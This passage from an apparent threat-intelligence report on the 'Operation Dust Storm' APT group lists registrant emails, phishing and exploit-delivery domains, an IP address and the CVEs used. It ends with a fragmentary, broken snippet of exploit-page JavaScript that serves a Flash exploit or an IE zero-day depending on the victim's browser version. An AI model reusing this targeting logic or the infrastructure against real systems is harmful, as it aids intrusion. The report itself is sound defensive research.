Email Address Domain Name Date First Registered wkymyx (at) 126.com amazonwikis.com April 21, 2010 wkymyx (at) 126.com sfcorporation.com May 5, 2010 wkymyx (at) 126.com adobeus.com June 8, 2011 duomanmvp (at) 126.com adobekr.com May 30, 2010 duomanmvp (at) 126.com moviestops.com June 7, 2011 duomanmvp (at) 126.com moviestops.com December 17, 2012 Early infrastructure for the 2010-2011 timeframe used by the group relied heavily on two email addresses, "wkymyx (at) 126.com and duomanmvp (at) 126.com for domain registration. The attackers typically used either seemingly random four-character subdomains or common words like image, blog, ssl, pic, mail, news, etc. There was also evidence to suggest this group attempted to gather user credentials for Yahoo, Windows Live and other accounts through several different phishing domains during July and August 2011. While SPEAR was unable to recover the original pages served, the domains these pages were hosted on are: login.live.adobekr.com login.live.wih365.com and yahoomail.adobeus.com . Individual IP address resolutions for each of the domains were generally shortlived, with none of them lasting more than a month. Identity Crisis: Zero-Day Attacks SPEAR identified another Operation Dust Storm campaign in June 2012 that leveraged both CVE-2011-0611, a Flash exploit the group had used previously, and CVE2012-1889, an Internet Explorer zero-day. The attackers used the domain mail.glkjcorp.com to deliver the exploits, and the domain was hosted on the IP address 114.108.150.38 at the time of the attack. SPEAR was unable to definitively tie this particular exploit site to a watering hole or phishing campaign, however, numerous other CN-APT operators leveraged the Internet Explorer zero-day during the same period using both techniques. The exploit domain glkjcorp.com was registered shortly before the attack on May 24, 2012. Two different emails were used in the registration of this domain: effort09 (at) hotmail.com and zaizhong16 (at) 126.com This attack was the first to use the file DeployJava. to fingerprint installed software on victim systems prior to delivery and ensure a known effective exploit was deployed. This JavaScript file was first used and documented by Ahnlab a month earlier in the Gong Da Exploit Kit: http://www.ahnlab.com/kr/site/ securityinfo/secunews/secuNewsView.do?menu_ dist=2&seq=19418. The DeployJava.js worked in conjunction with another script embedded in the exploit page, to deliver the Flash exploit if the version of IE was 8 or 9 or deliver the IE zero-day if the version of IE was 6 or 7. if (((i9> -1) ||(i8> -1))&&w7>-1&&ja){ flash.Movie = vars; else if((i8>-1)&&(xp>-1)){ flash.Movie = vars; else if((i6>-1||i7>-1)&&(xp>-1)){ document.body.innerHTML+= <\/object> setTimeout( document.body.innerHTML+=\